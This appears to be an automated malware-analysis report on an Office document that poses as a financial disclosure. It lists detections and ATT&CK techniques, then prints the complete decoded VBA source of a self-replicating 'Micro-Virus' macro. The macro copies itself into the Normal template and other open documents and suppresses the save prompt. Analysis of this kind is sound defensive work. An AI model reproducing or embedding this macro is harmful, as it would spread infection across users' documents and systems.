MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an Office document containing malicious VBA macros, as indicated by multiple critical heuristic firings including ClamAV detection and VBA macro self-replication. The 'Document_Open' macro is designed to replicate its code into the Normal template, a common persistence and propagation technique. While the document body appears to be a legitimate financial risk disclosure, the presence of self-replicating macros strongly suggests malicious intent, likely to spread to other documents or download additional malware.
Heuristics 5
-
ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.DeleteLines 1, .CountOfLines -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/cusEIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1667 bytes |
SHA-256: b4509bf34a44d975ec5eaa46392f1809ae9301bb76259097efc09fc0a824a33d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = True
'MsgBox "DisplayStatusBar = False"
Options.SaveNormalPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"
'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
'if normal, set active;
If ThisDocument = NormalTemplate Then
' MsgBox "ThisDocument = NormalTemplate"
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
' MsgBox "Set Host = ActiveDocument"
End If
With Host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
' MsgBox "DeleteLines 1, .CountOfLines"
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
' MsgBox "ReplaceLine 2,Close()"
If ThisDocument = NormalTemplate Then
' MsgBox "ThisDocument = NormalTemplate"
.ReplaceLine 2, "Sub Document_Open()"
' MsgBox "ReplaceLine 2,Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
' MsgBox "ActiveDocument.SaveAs"
End If
End If
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.